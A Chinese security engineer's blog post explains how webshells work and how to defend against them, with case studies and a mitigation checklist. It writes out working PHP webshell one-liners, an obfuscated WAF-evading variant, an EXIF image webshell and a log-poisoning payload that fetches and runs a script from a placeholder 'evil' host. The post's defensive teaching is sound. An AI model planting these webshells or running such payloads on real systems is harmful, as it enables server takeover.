Webshell 的底层原理与实战防御:一名安全工程师的笔记
在每次应急响应中,Webshell 总是那个“阴魂不散”的影子。它体积小、隐蔽高、变种快,常常成为攻击者维持据点、横向渗透、长期潜伏的首选武器。本文结合我近期处置的三起真实案例,把那张截图里的“基本原理”拆碎揉烂,辅以代码、流量、日志等多维视角,帮你彻底看懂 Webshell 的工作机制,并给出可落地的防御清单。
1. 一张图引发的思考
先回顾题图内容:
编号 | 环节 | 关键词 |
---|---|---|
1 | 可执行脚本 | eval 、system 、passthru |
2 | 数据传递 | $_GET 、$_POST 、$_COOKIE |
3 | 执行传递的数据 | 直接执行 / 文件包含 / 动态函数 / 回调函数 |
看似四行字,却在无数台服务器上掀起了腥风血雨。
2. 环节拆解:从 HTTP 请求到命令执行
2.1 可执行脚本:Webshell 的“心脏”
Webshell 本质就是一个仍能被 Web 服务器解析的脚本文件。常见后缀:*.php
、*.jsp
、*.asp(x)
、*.aspx
。
攻击者最关注的只有一件事:这段脚本能否把外部输入当作代码运行。
2.1.1 直接执行函数
<?php @eval($_POST['x']); ?>
一行代码,直接把 POST 体里的任何 PHP 片段喂给 eval
,实现“所见即所得”的命令执行。
2.1.2 系统命令函数
<?php system($_GET['cmd']); ?>
当 GET /shell.php?cmd=id
时,Web 服务器就把 id
丢给系统 shell,回显结果。
2.2 数据传递:三条主干道
通道 | 优点 | 缺点 | 真实案例 |
---|---|---|---|
$_GET | 可嵌入 URL,便于钓鱼 | 长度受限、易被日志记录 | 某电商 0day 事件中,攻击者把 shell 藏在 /search?q=xxx&callback=eval |
$_POST | 长度无限制、可上传二进制 | 需表单或专用工具 | 2023 年某金融系统被上传 300 KB 加密 POST shell |
$_COOKIE | 默认不记录在 access.log | Cookie 大小受限 | 2024 年红队演练,把 payload 藏在 Cookie: theme=<?php @eval($_POST[1]);?> |
2.3 执行方式:四种“骚操作”
2.3.1 直接执行
上面演示的 eval
、system
都是直给式,最暴力也最容易被 D 盾、河马查杀。
2.3.2 文件包含执行
利用本地文件包含(LFI)+ 日志投毒:
<?php include('/var/log/nginx/access.log'); ?>
攻击者先在 UA 头写入 <?php system('wget http://evil/a.sh|sh');?>
,随后访问 shell 触发包含,日志里的代码就被成功执行。
2.3.3 动态函数执行
<?php
$a = 'assert';
$a($_POST['x']);
?>
$a
的值可控,静态特征极弱;assert
在早期 PHP 中还能当 eval
用。
2.3.4 回调函数
<?php array_map('assert', $_REQUEST); ?>
array_map
的第二个参数是回调函数列表,把 assert
作为函数名传进去,即可把 $_REQUEST
的每个元素都执行一遍。
3. 实战案例:3 个典型场景解析
场景 A:一句话变形
时间:2025-03
背景:某政府官网 Joomla 插件 1day
payload:
<?=~$_GET['🐱'](~$_POST['🐶']);?>
把 GET 参数作为函数名,POST 参数作为参数,再用 ~
(按位取反)绕过 WAF 关键字检测。
检测难点:
- 函数名与参数全部做了一次位运算,静态正则极难命中。
- 使用 Emoji 变量名,某些 IDS 不支持 UTF-8 四字节字符。
防御:
- 在 WAF 层面对所有请求参数做 Unicode 正规化后再匹配。
- 强制 Joomla 关闭错误回显,避免
🐱
报错泄露路径。
场景 B:图片马 + 二次渲染
时间:2025-05
背景:某图片社区允许用户上传头像,后台用 ImageMagick 二次渲染。
攻击链:
- 攻击者上传合法 JPEG,在 EXIF 字段
UserComment
写入<?php @eval($_POST[1]);?>
。 - ImageMagick 渲染时未清理 EXIF,文件仍保留 PHP 标记。
- 配合 Nginx 解析漏洞
/.php
,访问upload/avatar/123.jpg/.php
即可触发。
防御:
- 上传目录禁用 PHP 引擎(
php_flag engine off
)。 - 使用
exiftool -all= file.jpg
强制剥离元数据。
场景 C:内存马 + 无文件落地
时间:2025-06
背景:Spring Boot + Undertow 架构
攻击链:
- 利用 Spring Cloud Function SpEL RCE 打入内存马。
- Webshell 逻辑写在
Filter
里,通过HttpServletRequest#getParameterMap
取值,反射调用Runtime.exec()
。 - 重启进程后消失,实现“无文件”。
防御:
- 使用 OpenRASP 将 Filter 链白名单化,未知 Filter 加载即报警。
- 开启
-XX:+FlightRecorder
,内存马常驻堆外时也能被捕获。
4. 防御清单:从部署到运营
维度 | 动作 | 工具/配置示例 |
---|---|---|
静态检测 | 1. 代码层禁用高危函数 2. 部署 WebShell 查杀引擎 | php.ini: disable_functions=exec,passthru,shell_exec,system D 盾 + 河马双引擎 |
流量检测 | 1. WAF 正则 + 语义分析 2. 统计异常参数 | ModSecurity OWASP CRS 3.3 ELK + Kibana: uri.keyword: "*eval*" and size > 200 |
日志审计 | 1. 长日志留存 2. 异常行为基线 | Nginx: log_format with $request_body Flink CEP: 1 分钟内同一 UA 执行 5 次 system |
运行时防护 | 1. RASP 技术 2. 容器沙箱 | OpenRASP PHP gVisor + seccomp |
应急流程 | 1. 快照留证 2. 快速封禁 IOC | Velociraptor 实时采集 Nginx deny from x.x.x.x |
5. 结语:与攻击者赛跑
Webshell 的进化永不止步,从早期的一句话到如今的内存马、无文件、加密通信,每一次更新都在挑战防御者的想象力。但万变不离其宗:只要我们能监控“数据输入→脚本执行→系统调用”整条链路,就能在攻击者拿到第一滴血前按下暂停键。
希望这篇笔记能给你的防御体系加一点“Buff”。如果你也踩过坑,欢迎在评论区留言,我们一起把对抗经验沉淀为社区财富。
参考资料
[1] OWASP: Web Shell Cheat Sheet
[2] 奇安信《2024 Webshell 年度报告》
[3] 个人应急响应笔记:case-2025-03-joomla、case-2025-05-imagemagick